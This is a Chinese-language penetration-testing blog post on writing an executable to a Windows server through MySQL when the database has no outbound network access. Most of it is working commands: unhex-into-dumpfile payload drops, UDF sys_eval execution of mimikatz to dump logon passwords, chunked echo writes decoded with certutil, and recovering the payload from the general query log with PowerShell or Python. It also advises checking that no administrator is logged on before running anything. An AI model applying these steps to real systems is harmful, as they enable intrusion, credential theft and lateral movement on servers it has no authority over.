MySQL站庫分離不出網落地Exe方式探究
0x01 前言
之前偶爾會遇到站庫分離數據庫不出網&沒有Webshell的情況,只有一個可以執行命令的shell,這種情況下如果想進行橫向只能通過數據庫來落地我們的工具。
注:文中只是為了演示數據庫如何落地exe,可能部分環境過于理想化,在實戰中很難遇到。
0x02 模擬環境
模擬環境:Windows+Mysql 5.7.26,web目錄沒有寫入權限,但是對lib/plugin有寫入權限,可以使用UDF執行命令。

0x03 into dumpfile
1.1.1 導出exe
復制exe文件的16進制,然后執行。
select unhex("exe文件的16進制") into dumpfile "\\路徑\\文件名.exe"

導出后的文件可以正常執行

1.1.2 執行
這里落地了一個mimikat.exe,然后執行
select sys_eval('C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\M.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\res1.txt"')

執行完畢后可以使用windows的more、type或者mysql的Load_file函數查看執行結果

1.1.3 exe退出
如果運行了一個exe程序,但是沒有給他退出的命令或者是他自己不會終止退出。例如我直接運行mimikatz.exe沒有給參數傳入,那么他會在目標服務器直接彈一個黑窗,一直卡在這,直到程序被終結。


這種情況可以在桌面手動關閉,也可以通過shell關閉。
select sys_eval('tasklist /svc |findstr "進程名.exe"')

將結果進行16解碼即可得到進程id,再Kill掉就好了。

1.1.4 注意點
導出的文件,不能是已經存在的文件,否則會報錯。

導出路徑中的"\"為兩個,否則會轉義。

使用findstr查找進程的時候,要使用雙引號包裹進程名。

正常執行程序的時候,會秒彈一個黑窗然后退出,使用暫時沒找到解決辦法。盡量避免管理員在線的時候執行exe,使用query user可查看管理員是否在線。

0x04 into outfile
into outfile會轉義換行符,導致exe無法正常執行。

正常exe

導出的exe

在大小上也可以明顯看出,導出的比正常的要大很多。

0x05 echo導出
1.3.1 全部寫入
既然可以執行命令,那么可以使用echo將exe-16進制寫入&追加到一個文件,然后再使用certutil解碼還原。
select sys_eval("echo exe_hex >> c:\\users\\admin\\desktop\aaa.txt && certutil -decodehex c:\\users\\admin\\desktop\aaa.txt c:\\users\\admin\\desktop\aaa.exe"

將16進制全部復制執行報錯了,但是echo 123可以正常寫入,可能是長度問題?
1.3.2 Windows命令行限制
百度了一下windows命令行最大長度為8191,16進制長度是113898,做了一個小實驗來驗證百度到的答案:
復制所有16進制到cmd,echo 所有16進制>> 11.txt。因為有長度限制,只會復制一部分到cmd。查看cmd中最后的exe-hex 08B45F4890424E85D在全部exe-hex中的位置-8176,加上echo空格>>空格11.txt剛好8190個字節。

1.3.3 分段追加寫入
直接全部寫入會超出命令行限制,只能去分段寫入。使用echo每追加一次都會自動換行,在百度找到了使用set /p=""這種方式可以實現不換行追加。

這個是個體力活,在本地就不手動了追加了,寫個腳本假裝手工追加寫入。

將導入的16進制文件解碼即可得到可執行文件

1.3.4 遇到的問題
使用set /p分段追加無論是手動還是腳本都會遇到一個問題。執行完他已經寫入,但不會自己終止結束這條命令并換行,需要手動不斷回車來結束。

0x06 日志
常見Getshell日志類型
常用的日志導出有通用日志、慢日志查詢,經過測試他們在操作方面沒太大差距,這里只使用通用日志來實驗。
1.3.1 通用日志
通用日志是最常用的一種日志Getshell的方式,會記錄我們執行的查詢語句。
show variables like 'general_log'; #查看日志是否開啟 set global general_log=on; #開啟日志功能 show variables like 'general_log_file'; #看看日志文件保存位置 set global general_log_file='log_path'; #設置日志文件保存位置
設置日志路徑,然后開啟日志,執行select "exe-hex",再使用正則匹配出exe-hex進行解碼即可。

使用powershell匹配出exe-hex
powershell -c "&{$b=[System.IO.File]::ReadAllBytes('日志文件');set-content -value $b[開始位置..結束位置] -encoding byte -path '保存路徑';}"
使用[System.IO.File]::ReadAllBytes讀取日志全部內容,再使用set-content篩選出我們的exe-hex。
在shell中可以使用type來讀取日志文件,復制到本地查看exe-hex在日志中的位置,我在phpmyadmin測試使用udf去執行type只讀取到了118134個字節,不過剛好讀取完我們的exe-hex。

1.3.2 注意點
1. 這里盡量先設置好日志存儲路徑再開啟日志記錄,日志會少一點。
2. 在執行完select "exe-hex"之后要關閉日志記錄,否則powershell無法打開。

3. powershell導出exe-hex的時候會覆蓋源文件
0x07 思考
以下幾個點是在實驗過程中&偶然靈光一現感覺可行的思路
大都是使用certuil解碼?有沒有其他的解碼方式?(已解決)
沒找到其他windows自帶的程序可以解碼,之后想到可以python解碼,由此想到其他支持在命令行執行單行代碼的語言php、perl等。其他的不支持在命令行執行代碼的語言,可以再使用上面的方法導出該語言對應的解碼代碼,再去調用執行進行解碼。
下面是python3的一句話hex解碼,其他語言也大致類似思路,這里就不演示啦。
python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"

outfile既然導出二進制會增加轉義、換行,如果可以使用powershell、編程語言將其再過濾,是不是也可以用。(未解決)
最后日志使用powershell可以獲取到exe-hex,如果沒有powershell感覺使用編程語言也可以匹配出來。(已解決)
python -c "import re;import binascii;z=re.findall('(4D5A.*?6500)\"',open('log.log').read());text=open('res1.exe','ab');text.write(binascii.a2b_hex(z[0]))"

感覺echo導出方式這個也適用于不出網對web目錄沒寫入權限的命令執行。
0x08 總結

0x09 參考鏈接
Mysql日志介紹-通用日志
https://blog.csdn.net/leshami/article/details/39779225
Mysql通用日志Getshell
https://www.cnblogs.com/KHZ521/p/14961303.html
Windows命令行長度限制
https://blog.csdn.net/u011250186/article/details/108409562
python十六進制轉換為字符串
https://blog.csdn.net/weixin_39914107/article/details/111429294